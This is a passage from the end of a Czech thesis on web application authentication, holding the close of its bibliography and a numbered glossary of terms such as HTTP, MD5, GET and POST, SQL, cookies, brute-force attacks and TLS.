Apache Software Foundation: Apache HTTP Server Documentation. [online]. 2006 [cit. 2007-0109]. Dostupné z WWW: <http://httpd.apache.org/docs/2.2/mod/mod_authn_dbd.html>
integraci, 2002 [cit. 2007-01-09]. Dostupné z WWW: <http://www.cssi.cz/all_terminologie.asp>
[10] The PHP Group: PHP Manual. [online]. 2006 [cit. 2007-01-11]. Dostupné z WWW:
<http://www.php.net/features.http-auth>
[11] KLÍMA, V. Tunnels in Hash Functions: MD5 Collisions Within a Minute. [online] 2006 [cit. 200701-17]. Dostupné z WWW: <http://eprint.iacr.org/2006/105>
29
8. Terminologický slovník
1
Internetová aplikace: Druh aplikace, jejíž uživatelské rozhraní je zobrazováno prohlížečem.
[zdroj: ČSSI]
2
HTTP (Hyper Text Transfer Protocol): Protokol pro přenos dokumentů v Internetu (používá se
nejčastěji na WWW). [zdroj: ČSSI]
3
Webový server: Aplikace běžící na počítači připojeném do Internetu, jejímž prostřednictvím si mohou
uživatelé vyžádat stránky či soubory za pomoci protokolu HTTP.
4
Log soubor: Soubor, v němž jsou zaznamenány všechny operace provedené v rámci běhu aplikace.
[zdroj: ČSSI]
5
JavaScript: Programový kód, prováděný v internetovém prohlížeči, tzv. client-side skript. Umožňuje
provádět dynamické změny na zobrazené stránce bez nutnosti jejího nového načítání.
6
Client-side skript: Programový kód, prováděný na straně klienta – uživatele, např. JavaScript,
VBScript aj.
7
MD5: kryptografická hashovací funkce, vytvářející z libovolného řetězce řetězec hexadecimálních
znaků, dlouhý 32 znaků a s velikou pravděpodobností jedinečný.
8
Flash: vývojové prostředí, vyvinuté společností Macromedia, umožňující vytvářet na webových
stránkách animace s použitím audia i videa a možností interakce uživatelů prostřednictvím
skriptovacího jazyka Actionscript. Vyžaduje zvláštní plug-in do prohlížeče.
9
Java applet: aplikace napsaná v programovacím jazyce firmy Sun jménem Java, uzpůsobená pro
spouštění v prohlížeči uživatele na takzvané Java Virtual Machine – tedy s využitím programu, který
překládá a provádí byte-kód.
10
Server-side skript: Programový kód, prováděný na straně serveru – provozovatele, mezi běžně
používané programovací jazyky patří PHP, Perl, Python, ASP, Java.
11
Metoda POST: jedna z možností zasílání příkazů podle protokolu HTTP, při kterém nejsou data
zadaná uživatelem zobrazena v URI
12
PHP: jeden z nejrozšířenějších skriptovacích jazyků, používaných pro programování webových
aplikací.
13
Metoda GET: základní požadavek používaný v protokolu HTTP pro získání určité webové stránky;
u webových aplikací využívaný i pro předávání parametrů ovlivňujících obsah získávané stránky –
parametry se tak stávají součástí URI
14
One-time password: heslo pro jedno použití – je vygenerováno vždy unikátní a platné pouze pro
krátký časový okamžik nebo do prvního použití.
15
Databáze relační: Datová základna (viz. Databáze) konstruovaná na principech relačního modelu
dat. Koncept relačního modelu dat byl navržen začátkem sedmdesátých let profesorem E. F. Coddem.
Relační model dat vychází z principů ukládání dat ve formě relačních tabulek, které jsou (s jistým
zkreslením) zobrazením relačních množin (definovaných jako podmnožiny kartézského součinu množin
obsahujících přípustné hodnoty atributů prvků modelovaného světa). Na základě relačního modelu dat
jsou vybudovány dnes nejpoužívanější databázové systémy. Základním databázovým jazykem pro
manipulaci s daty uloženými v relačním modelu dat je jazyk -> SQL. V relačních databázových
systémech se obtížně zachycovaly složité datové struktury a některé typy dat (např. obraz, zvuk,
video), a proto jsou postupně rozšiřovány směrem k objektovému konceptu (viz. Databáze objektová).
[zdroj: ČSSI]
30
16
SQL (Structured Query Language): Nejrozšířenější databázový jazyk umožňující uživateli IS
komunikovat s databázovým systémem (viz databáze). Tento jazyk byl původně vyvinut pro práci
s daty ukládanými v relačních databázích, ale je používán i v databázích objektově-relačních. Jazyk
umožňuje zejména definovat datové struktury, manipulovat s daty (operace Insert, Update, Delete,
Select) a řídit přístup k datům. V současné době je do jazyka SQL zakomponována celá řada rozšíření
směřujících k zajištění výpočetní úplnosti jazyka a implementujících objektová rozšíření. Jazyk je
standardizován institucemi ANSI a ISO, v jednotlivých databázích je však naimplementován s různými
dialekty. [zdroj: ČSSI]
17
SŘBD (Systém řízení báze dat): DBMS - Data Base Management System systém řízení báze dat
(např. Oracle, Informix, Progress) [zdroj: ČSSI]
18
Brute-force útoky: útoky na systém, založené na zkoušení hesel dle slovníků či postupným
zkoušením kombinací.
19
Cookies: rozšíření protokolu HTTP o možnost uchovávat stavové informace pomocí zvláštních HTTP
hlaviček.
20
HTTP hlavičky: parametry ovlivňující komunikaci podle protokolu HTTP
21
SIM Tool Kit: jeden ze standardů GSM, umožňující SIM kartě v mobilním telefonu vyvolávat
interakce mezi sítí a uživatelem v jednoduchých aplikacích.
22
HTTPS: protokol rozšiřující možnosti protokolu HTTP o transparentní šifrování pomocí TLS či SSL.
23
SSL a TLS: zkratky anglických názvů Transport Layer Security a Secure Sockets Layer označují
kryptografické protokoly, které zajišťují aplikacím bezpečný přenos dat v počítačových sítích. TLS je
novější verze, která nahradila SSL.
24
Biometrie: studie metod, umožňujících rozeznání unikátních osob na základě jejich fyzických
charakteristik – např. otisků prstů.
31